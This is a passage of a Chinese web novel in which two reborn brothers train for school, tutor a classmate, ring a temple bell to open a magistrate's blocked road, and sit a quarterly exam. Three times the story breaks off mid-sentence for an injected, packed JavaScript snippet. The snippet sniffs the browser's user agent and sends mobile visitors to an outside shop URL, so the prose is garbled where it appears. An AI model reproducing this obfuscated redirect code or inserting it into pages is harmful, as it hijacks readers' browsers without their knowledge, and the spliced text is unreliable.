江夜看江寻震惊的脸觉得好笑,“你输了,我的好弟弟。我的要求也不高,第一,接下来每日跟我早起跑步上学,一边上学一边背诵;第二,季考考进嗯……前五十吧。”他相信经过他的指导,前五十还是比较容易的。 江寻什么都挺好的,但他比较爱睡觉,他想把前世要补的觉都补回来。 “哥哥……”他得试试撒娇了。 江夜:“除非你考进前五十,否则这事没商量。” “那如果我考进前五十,你以后都不管我?” 江夜:“…………”他就是想管他啊。“那得要前十。” 江寻:“成吧。我就努力一下。” 沈德福在一旁喊,“带我一个呗,我也想好好考试。阿寻,咱俩是难兄难弟啊,你别丢下我。” 江寻正想着找机会迎合沈德福,“成啊,你问问我哥愿意不愿意带你一起跑。” 江夜:“跑步也不顺路。散了学吧,你先来我们家。” 沈德福:“好!” 这事就这样定了。 江夜想着,有了这样一个目标,加上自己会督促他,江寻应该会有明显的改变。 只是没想到,晚上回家,阿寻还是该躺平躺平,洗了脸,就摸上床榻靠那读闲书。 仿佛今日他跟他说的,全是一句玩笑。 次日,江夜先去外面练完拳,练完才回来去喊江寻起床。 江寻被迷迷糊糊地拉起来,往窗外一看,鸡还在睡呢。 救命啊! “哥哥……你饶了我吧。”江寻哭着喊。 江夜:“说了要去跑步,对你的身体也好。” 江寻哪里不知道这个道理,但他就是想偷懒。他前世行军打仗,苦日子过得够多了啊。 “哥……”他决定装可怜,抱着江夜的腰死不松手,一边哭一边继续睡。“你饶了我,下辈子我做牛做马报答你啊。哥……” 江夜被弄得哭笑不得,“好,那就一刻钟。” 江寻迷迷糊糊地应,重新躺了回去,找个舒服的姿态继续睡了。这一睡,江夜是无法怎么叫都叫不起来了。 于是两人还是在正常的时间赶去上学。 江寻自己也不好意思,“其实《大学》我已经会背了,不信我背给你听?” 江夜瞥了他一眼,“阿寻,你只要稍微努力一点,你绝不会比我差。” 江寻点头如捣蒜,“除了别让我早起,我什么都愿意做。” 江夜:“一年之计在于晨。” “那起不来怎么办?” “早点睡。你答应我的,要听我的。” 江寻:“…………”他心中哀嚎,朱红啊朱红,你为什么要作弊啊! 事实证明,只要江夜想做什么事情,是一定会做到的。当天,他就早早催促江夜睡觉,还暂时保管了他的闲书。 早睡的江寻,早上果然好起来了。 两个小小少年起来后,自己洗漱后,下了楼吃了张氏做的热乎红糖馒头。——张氏学会做糖粥后,凡要是吃的都爱放糖。他们一人吃了两个馒头,便起身上学。 此时天还微亮,灰蒙蒙的,有鸡叫的声音。 两人先家里跑出来后,先经过的是郑寡妇的豆腐坊,还差点撞上郑寡妇的闺女小玲端着的豆腐脑。 小玲侧身一躲,碗里的豆腐脑晃了晃,没洒。 “赶着投胎啊?”她瞪了两人一眼。 江寻刹住脚,喘着气:“小玲姐对不起——” 小玲看江寻这么客气,又笑了,“快去追吧。” 江寻笑着点头,他往前看,看江夜停在不远处等他。他跟小玲姐点点头,往前跑去。 他追上江夜。 江夜问:“你们说什么呢。” 江寻:“说你不等我啊。” 江夜:“……我何曾没等过你。”他话音刚落,就见江寻突然加速超过了江夜,拐到了前街。 前街这个时候是最热闹的。 永福茶楼的伙计阿强正在卸门板,看到两人,笑着,“这么早啊,阿寻阿夜。” 江寻笑:“早啊,强哥。” 江夜在江寻的带动下,也淡淡附和:“早。” 穿过永福茶楼,接下来就是回春堂,陈氏布庄,李记糕饼铺…… 大家都早早开门了。 他们一路跑,终于从前街绕到了文昌坊,世界一下子安静了。再往前跑了一会儿,便是他们抄书借书买书的翰墨坊。 书坊冷老板看到他们还吆喝,“阿夜,阿寻,有空再来抄书啊。” 两人笑着应了声是。 文昌坊里的很多店铺都没开门,于是沿路过去的时候,只能听见两个少年跑步的声音,踢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363410|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踢踏踏的。 从文昌坊出来,进入郊野小径,他们路过春日绿幽幽的菜地,再进入他们熟悉的松树林。 继续往北,跑上一条松林小道,方才抵达吴氏学堂。 就这样跑到后,两人双手撑膝喘着气。 江寻已经半命条去掉了,半天没缓过来,反倒是江夜,只喘了一会儿,便问江寻:“怎么样,你有没有觉得头脑很清醒。” 江寻气喘吁吁地扶着江夜的肩,“我只想喝水。” 江夜看江寻这副样子,不由想笑,“好,哥哥给你拿水。”他去学堂院子的水井里打了水,喂给江寻喝了。 江寻喝了水,才能正常说话。 “我发誓——” “嗯?” “这次季考,我一定会考到前十。” 江夜:“…………” 本来江夜以为江寻既已立下壮志豪言,接下来的课上会认真一些。但哪知转眼,他还是老样子。跟读的时候不好好跟读,背诵的时候十句差八句。 大概唯一认真的事就是练字。 那一手字,连他都要甘拜下风。 这字,让人看到,会对江寻这个人浮想联翩。想来一定是惊艳绝世的大才子才能写出这么飘逸俊秀的字。完全想不到江寻的成绩在学堂里属于垫底。 他们到了学堂,开始跟读前,沈德福过来跟他们聊天。这已经成为他们的习惯,每日沈德福就会过来跟他们聊上几句。 今日的沈德福穿了件土黄色的袍衫,他穿好上问江寻:“好看吗?” 江夜回头看江寻,想来依他的审美估计是看不上,但没想江寻笑着颔首,“还不错啊,德福。” 江夜又转过头去看沈德福,那土不拉几的死颜色,还不错?江寻知道自己在说什么吗?如果他的好看,那自己的布包也好看才是。 沈德福听了明显挺高兴的,“真的啊,嘿嘿,俺娘也说我穿得好看。” 江夜回:“太胖了,就跟粽子一样。” 沈德福听后,眼神一暗。 江寻忙道:“我哥跟你开玩笑的呢。” 沈德福脾气好,嘿嘿一笑,“没事没事。”说着转回自己的座位去了。 沈德福一走,江寻回头满脸疑问地看向江夜。 江夜挑眉,眼眸略带不羁,他其实并不屑于将剑锋指向这些小孩,包括沈德福,包括张迅疾……也因为这几年身体受限,他也真的把自己当成小孩子江夜。但就是那一刻,他内心的偏执阴暗突然就爆发出来,让他将剑锋指向所有人。 江寻问:“哥哥,你干吗呢。” 江夜听到这声哥哥,在一瞬间回神,“对不起,实话实说了。” 江寻:“我觉得你该跟德福道个歉。” 江夜心道:道歉?凭什么。沈德福算什么,要他道歉?自己当年叱咤风云的时候,他还都不知道在哪混呢。 他决定忽悠弟弟,“这没什么大不了,也不用道歉吧。你看他也不介意嘛。” 江寻摇头,“我并不觉得。哥哥,道个歉吧。” 江夜自然不愿,他决定倔强到底。但看到江寻这么认真专注地看着自己,他微叹了口气,“好好好,我去道歉。” 11. 辅导 江夜去道歉了,低声下气地跟沈德福说。 沈德福自然是受宠若惊,谁不知道江夜在学堂的实力。无论是论学业,还是论相貌,论智商,都是数一数二。就是论气势,也比吴夫子要吓人。 他哪里敢要江夜的道歉啊。 江夜道歉完,才回了座位,跟江寻完成任务似的,说“我完成了”。 江寻瞥了一眼江夜,觉得这个哥哥似乎缺少一点同理心,还是天生缺乏。 他忍不住问沉眠的系统,“这是不是可以说明,这是他成为反派的真正原因。这种情况会好转吗?” 系统:“本来,他的黑化值是停滞的状态,也不知为何刚才突然升起来。宿主放心,现在又降回去了。” 江寻:“也许是我爹娘的关心让他回到了正道,但等到他离开,没人压抑,也许又会往上升。” 他得寻找一些压抑黑化值的办法,在江夜离开自己的爹娘之后,也会做个正常人。 就目前看来,自己是他的弟弟这一点,江夜还是挺受用的。 看来,家人这条路还是行得通的。等以后再娶妻生子,也许能彻底地安定下来。 到现在为止,就以他的好弟弟相处着吧。 散了学,三人一起去了之前一起打架的山神庙。这庙宇是个被废弃的地方,据说庙里曾死过人,渐渐地便没了香火。 他们在山神庙理出一个区域,专门用来辅导功课。 江夜:“你们现在开始背《大学》第一部分,背好就算过关。” 他刚说完,江寻就举手,“哥哥。” 江夜抬了抬下巴,“说。” “会背就可以了?” 江夜:“当然不够,还得解释给我听。” 江寻点点头。 江夜:“开始吧。我去旁边打个拳。”他说着就去了,留下江寻和沈德福。 沈德福满脸崇拜地看向远走的江夜,“你哥哥真好,我要是有这么一个哥哥,我都要偷笑了。” 江寻笑,“——送你要不要?” 沈德福啊了一声。 江寻:“我看会儿书先。” 沈德福,“可等会夜哥就要来查了。” 江寻:“我知道。” 沈德福虽然困惑,但也不能管江寻,只是感慨,这江寻未免太懒散了一些。江夜看着还是挺凶的。他老老实实地念着背着。 过了一会儿江夜要回来了,江寻才放下书,装模作样地念起来。 只念没多久,江夜才说:“开始吧,我要查你们。” 于是接下来,让沈德福震惊的事情发生了。 因为先让背的是江寻。 无论江夜抽什么,江寻都能对得上,口齿清晰,思维敏感,仿佛在眼前放了本书。这种感觉……其实在这个学堂,两个人让他特有安全感。第一个自然是朱红,第二个就是这江寻。因为只要有这两人在,自己就永远不会垫底。 可今日江寻的表现,又仿佛在说,我是假的,我只是懒得努力,一努力起来天下无人是我的对手。 道理是这个道理,但……问题是也没见他努力过啊。 当然,不光沈德福有这种感受,江夜也有这种感觉……这个时候又对答如流了,上次也是。 背得出来,也解释得出来。就是考不出来 那边江寻笑眯眯的,“可以了吧?” 江夜连重话都说不出来,说什么,都会啊。只说了句,“可以。”这才转向沈德福。 自然,沈德福就是呜呼哀哉了,问啥啥不会的了。 辅导结束,三人才从山神庙出来。此时天色已渐渐黑下去了。 双方在桥头分别,江寻江夜也一起回家,走到墨斋坊的时候,江寻还进去换了几本书。 换好出来对江夜道:“要不要看,新本里里面好多惊天大案,刺激得很呐。”他笑着两眼弯弯。 江夜:“……你记得你的季考就好。” 江寻笑,“记得,绝对记得!” …… 江寻确实记得了,每次江夜一来,他就读书给他看,摇头晃脑的,模样真的特别可爱。 这倒是弄得江夜都哭笑不得,自己又不逼他。但每次看到阿寻懒洋洋的,他又忍不住苦口婆心——只有他知道这科考之难。对于他这种人来说,自然是轻松的。但阿寻的话…… 自己能感觉到江寻的聪明,但他似乎一点也不打算将这份聪明用在正道上。 说实话,他确实想与他一起科考的。 不过也才相处几年,自己真的把自己当哥哥了! 就这样三月一过,到了四月,季考正是五月的事情。 四月清明,家家户户要上坟。江家也不例外。他们是普通人家,没有什么重要的仪式,买了些香烛纸钱便上了山。上山的时间非常早,江秀才和张氏先上的山,让两兄弟迟一点上去跟他们汇合。 两兄弟早起绕到西山山脚,但看山脚下有一些官兵拦,拿着柄长矛将山门给堵了。 他们去问了人才知道,原来是清平县蓝知县也在山上,故而清道, 但江寻还是注意到,除了知县的轿子外,还有其他老爷的轿子可以上山。 这个答案,那些官兵就不会回答你了,表情还很不耐烦。 “怎么,让你们等着就等着,哪里这么多话?你们非要上山,是想造反吗?” “再啰嗦,把你们也锁了带走!” 这话说得重,让那些问话的老百姓各个噤声不语了。 江夜见状,哪里能看得惯,站出来道:“不过问个话就给普通百姓冠这样的名头。我看你们才好大的官威,不知大朔哪条法令言明,不许百姓连话都不能问的?” 众人一听,见是个不过十来岁的孩子,都不觉敬畏。 那官兵自是被怼得哑口无言,咬着牙道:“我没这样说,你们喋喋不休追问,已经影响公务了!” 江夜在朝堂纵横十多年,哪里不知道这些底层官吏的作派,官大有官大的办法,至于这些官小的,因为靠近百姓,最爱作威作福。 只是,他有理他怕什么。他还要再说,突然被江寻捏了下手心。 江夜回头。 江寻低声道:“你跟他作着干,吃亏的是我们的爹爹。” 江夜:“不信哥哥能对付他们?” 江寻笑,“信,就是觉得不值当。耗心耗力。” 江夜听后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363411|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不禁宛然,前世就是花在对付这些苍蝇太多时间,最后也死在这些苍蝇手里。他辣手无情,不曾放过一个,却不知也给自己留下了祸患。 这个道理,竟被江寻,一个今年才八岁的孩子,说出来了。 “嗯……” 江寻道:“对付他们的最好办法,是让他们上头的人来管,而不是我们。” 江夜看向江寻,见他面色如常。 江寻问:“怎么?” 江夜摇头,“没什么。”只是觉得很厉害罢了。 他们等了一会儿,又看到一辆轿子从他们跟前经过,那轿子里的他们也认识。正是张迅疾与他爹娘。张家也是清河镇说得上名号的富户了。 江夜看到他们,对江寻道:“有办法了。” 江寻知道江夜要做什么,也没阻拦。 这些人说清道就清道,不让百姓上山扫墓,属实很不应该。但百姓命如草芥,又没有其他更好的办法。 两人上前拦了轿子,当然,只拦张迅疾的。 张迅疾年纪虽小,但作派大,掀起布帘还很不耐烦,刚要骂人,看到江夜江寻,便把话语硬生生地吞回去了。 哆哆嗦嗦地回道:“你……你们想干什么?” 江寻怕江夜说出来吓着张迅疾,先开口道:“没什么,想让你……嗯开条路给我们。看在同学情分上,拜托啦。” 江寻说这话的时候,江夜附和,“今日你让路,以后也不用你喊大哥了。” 张迅疾撇撇嘴,小声道:“弄得我很在意似的。”说完才道,“我要问问我爹才行。” 江夜听到这些推诿的话就烦,淡淡道:“是吗?” 张迅疾看到这声是吗,鸡皮疙瘩立马就起来了。“应该能行吧。” 江寻温柔地笑,“那就麻烦了。” 就这样,他们被张迅疾带着进入了西山。 一带着进入,双方就分开了。 江寻江夜并肩上山,踩着无数人踩过的小路上去,顺利跟爹娘汇合。 祭拜完,正准备下山。但听西山不远处的寺庙传来悠远的钟声,当当当的,悦耳动听。 江寻听着,回头问江秀才,“爹,现在还有没有敲钟报急事的规矩?” 江秀才好奇,“你问这个干什么?” 江寻笑,“想知道嘛,跟我说说。” 江秀才道:“这钟声报急,各乡各村都有。庙里的钟,平时只做早晚课用,但要是出了大事——山匪来了、洪水来了、走水了——就敲急钟。一响传一庙,一庙传一村,一村传一镇。听见钟声的人,不管在做什么,都得往钟响的地方赶的。” 此时江夜已经知道江寻要干什么,天,他怎么那么聪明! 江寻又问:“可是九声?” 江秀才又应了声。 江夜看江寻转向自己,忙道:“我知道了,我配合你。” 江寻还有一个疑问,“万一他们是真的有事……” 江夜淡笑:“你放心,他们就是自私自利。”清河县的蓝知县也是出了名的坏,前世没来得及,今生迟早收拾他。 他牵住江寻的手,对江秀才道:“爹,我带阿寻去山上的寺庙,很快就下来。” 12. 季考 江秀才和张氏以为他们真的去玩,说了声小心,就放他们去了。 这山上的寺庙叫小慧寺,寺庙不大,但钟声还挺有名的。 他们往着另外一个方向往上走,走了大约几百个台阶的时候,才到寺庙。因为寺庙太小,和尚敲完钟后基本也都有事去了,寺庙安静得就像没有人。 两人绕到敲钟处,齐心合力地握住撞木,重重地撞响钟。 不一会儿,钟声悠扬响起, “当——” “当当当——” 一共九响。 清明鸣钟,本是庙里的规矩——但九响,是“急事”的意思。 山下等着上坟的人开始往上涌。 “怎么回事?” “庙里出事了?” “上去看看!” 县衙的衙役哪里拦得住——为首的差官扯着嗓子喊“退后——退后——”,声音还没传到人群后面就被淹没了。有些则索性不拦了,拄着水火棍站在路边,脸上一副“随你们去吧”的表情。 人太多了,穿青布衫的、穿蓝布褂的、挽着竹篮的,都是拿着香烛纸钱的百姓,一群一群地挤着往山上走。 看庙中何事为假,上山上香为真。 …… 另外一边,江寻、江夜敲完钟,趁着寺庙师傅没来,他们抓紧下山,迎着山风细雨。 是跑得下山的,生怕身后的师傅追上来。 走到山门口,就看道已经通了,恢复了清明时节正常的秩序。 江寻回头笑着对江夜道:“这才是清明啊。” 江夜也是满脸笑容,“得亏你的想法。” 两人混在人群中,看到知县大人的轿子狼狈地从人群中挤出,轿帘歪了半边,轿夫们的帽子不知被谁挤掉了,他们朝着远处而去。 江夜有那么一刻的冲动想把知县大人的事都告诉江寻,也许他能跟自己一起收拾这个鱼肉百姓的贪官。 但若是江寻问起来,自己又该怎么说。他想了想,还是缄口没说。 清明回来的路上,江秀才和张氏还在说着小惠寺突然鸣钟九声的事情。 “这小慧寺的钟声很久没响,也不知是什么事情?”江秀才道。 张氏笑:“还能是什么事情,这知县大人无缘无故封道,大批百姓被拦在山下。要我说,搞不好是菩萨显灵呢。” 江秀才叹息摇头:“娘子说得太远。” 话音刚落,就有一对妇女打从他们身旁经过,她们口中说着正是张氏所说的:“阿弥陀佛,菩萨显灵,给咱们开了道,不然还不知道要等到什么时候。也没个告示,差点祖宗都吃不上香火。” “正是,这小惠寺真是神寺啊。这蓝知县也不止一次这样了!” 听到这些话的江寻江夜忍不住哈哈大笑。江秀才和张氏还不明所以,这笑什么呢。他们哪里知道,这些人口中的菩萨可不正是他们的儿子吗? 回了家,张氏给一家人都蒸了青团,给江寻做的是甜口,豆沙味,给江夜做的是笋丝的。两兄弟坐着吃着,一边吃一边读闲书。 江夜刚看完江寻推荐的奇案,发现竟然还挺好看。 江寻按着书道:“怎么样,好看吧。我没有骗你吧。” 江夜:“………这设计得太精巧了。” 江寻说起这个案子,“我当时看得已经猜到一部分,但等我看完,才恍然大悟。这个诡计……太绝了。我倒是挺想去看看这书的著者呢,人就在盛京。” 江夜倒没注意过,可能真的有这样一个著者吧。 “有的是机会,我们迟早要去盛京的。” 江寻笑着颔首,说实话,他还是挺期待看看这个朝代的盛京城变成什么样的。 不过,虽然公案小说很好看,江夜道:“闲书是要看,但书也要背。” 江寻也比较配合,摊了摊手,“哥哥请考校。” 江夜:“《大学》第三十三行。” 江寻;“所谓治国必先齐其家者,其家不可教而能教人者,……” “解释。” “意思是说自己的家都管不好,凭什么去管一国之民——” 清明窗外还下着细雨,窗内兄弟俩读书说话的声音隔着远远都能听见。 …… 清明过后,他们按部就班地读书、学习,在五月初,四个镇,清河镇、白石镇、柳溪镇和杨桥镇,四个镇举行了一次联考。做东的正是清河镇,也无怪吴夫子会这么上心。 目的的话,既让这些十来岁的孩子提前感受县考,让他们见见世面,也让各个私塾互相比比教学成绩。 四个镇大约九所私塾,学生有一百人左右。当然,实际参考的可能要少一些,但大差不差。 联考地点在清河镇慈恩寺。寺里有个大院子,能摆几十张桌子。正殿前面有廊檐,下雨也不耽误事。寺门口就是集市,孩子们考完就能逛。 当然对于两兄弟来说,还是抓紧赚银子要紧。他们让江秀才和张氏推着摊车过来,早点摆着,要不然都没位置了。 他们的预言非常准。到了季考当天,但看人群络绎的,都是四里八乡的双亲带着孩子来参加季考的。虽然只是一次季考,但双亲还是充分重视。 江寻江夜也早就到了,只不过忙着帮张氏卖糖粥。 私塾里的同学看到他们,也来捧场,几乎是每人都买了糖粥才进的慈恩寺。 就这样赚了不少,两人才恋恋不舍地进了寺庙,准备考试。 江夜还是比较紧张的,当然是因为江寻。 但看江寻气定神闲,负着手转来转去的,那模样哪里像是来参考的,根本是来巡考的。 还别说,江寻确实曾巡过考。 他前世年少成名,后更是因为战事名声大作,曾负责过科考,是明德十五年的主考官。他的门生有些五十岁,还要尊称他一个三十岁的一声老师。只不过,以前专门应考,并没有观察过其他人如何。现在对于他来说,就跟看热闹一样,仿佛看到人生百态,优哉游哉。 现场的位置全部是打乱的,所以两兄弟也分开了。 江寻跟江夜说了句,“哥哥,我走啦。” 江夜忙拉住人,“没问题吧。” 江寻笑,“哥哥没有,我也应当没有。” 江夜信了,笑着摸摸江寻的头,没办法,小他一岁的江寻比他矮很多。个子小,人也长得可爱。皮肤白白的,眼睛大大的,属于是那种越看越可爱的那种。 他是真的把他当弟弟了,宛如是自己的亲弟弟一样。 江寻找到了自己的位置,坐了下来。过了一会儿,上面的几个老夫子便拆封发卷。开考时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363412|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是辰时正,一直考到午时,一共要考两个时辰。 江寻翻开卷子,看到了第一道题目,是默写《大学·秦誓》全篇,要求一字不差地默写。 第二道是对课,每人五个对字。第三道写大字,字体不限,但要求端正。 第四道是写五言绝句,题目是《春》。 题目不算难,对于江寻来说,更是小意思。 他现在就一个问题,该如何恰好考到前十,而不至于抢占第一名。 按照书中剧情,这一次的第一名还是江夜。但没有人知道,第二名和第三名的情况——他们差在哪里,以及跟江夜的差距又是什么? 所以,江寻不由地想: 他的五言绝句如果写得太好,直接拿了第一怎么办?写得太差,掉出前十,还要受江夜的“压迫”。如果他的最后两道答得太好,而前面两道错得太多,夫子又该如何评判。 一般来说,他知晓他们的评卷标准。比如乙等,属于是对课尚可,但默写要求错三处以内。 大致如此。 如果他的诗作在甲等,默经是乙等,吴夫子最后算他乙等,则将掉出前十开外。 江寻苦恼啊。 最终他决定第三道和第四道题目尽量别翻车,在第一道题目上做文章,预计错三个字左右。 还是先赢了这个赌要紧。——毕竟,偶尔一次成绩好,也代表不了什么吧。 他洋洋洒洒地落笔成字。 第一道不假思索,第二道亦是如此。 全部写完,他故意在第一道错了五个字,改完字后又将卷面压了压,营造出不太干净的样子。作为前主考官,他深知卷面的重要性。 就算他的各方面都是甲等,但由于他的卷面,至少前三是不会有的了。 写完后,他交了卷。 出来时,发现江夜已经在等他了。 江夜开头就问:“怎么样?都写出来了吗?” 江寻笑,“还行吧。” 此时沈德福也走出来,对两人道:“《秦誓》你们都默出来了吗?”其实他知道江夜是肯定默出来的,所以他问的是其实是江寻。 这是差生跟差生的交流。 江寻:“………” 江夜答:“默出来了,你没默出来吗?” 沈德福叹气,“死活想不起来,估计要垫底了。”他转向江寻,又问,“你默出来了?”他见江寻一声不吭,还道他没默出来。 江寻:“这不是巧了么,我恰好背了这个。哈哈哈。”笑得尴尬。 沈德福哀嚎,“天啊,不会就我没默出来吧。还有那什么诗,鬼会写呢。” 此时隔壁私塾的一个学子从旁边窜上来,“没事。那什么诗,我也不会。” 听到另外一个人也说道:“我也是。唐诗都没背熟呢,写什么诗啊。” “就是就是,最起码让我们背完唐诗三百首吧。” 这群学子仿佛找到共同语言,互相诉着苦。 一旁听着的江寻冷汗直下,他忘了,对啊,唐诗还没背完呢。诗教是今年的事。 他正目瞪口呆着,一旁的江夜还安慰着:“怎么了?没写出来也没关系。” 江寻扁着嘴,“有关系啊,哥哥。” 他估计要得前三了,这真是跳进黄河都洗不清了。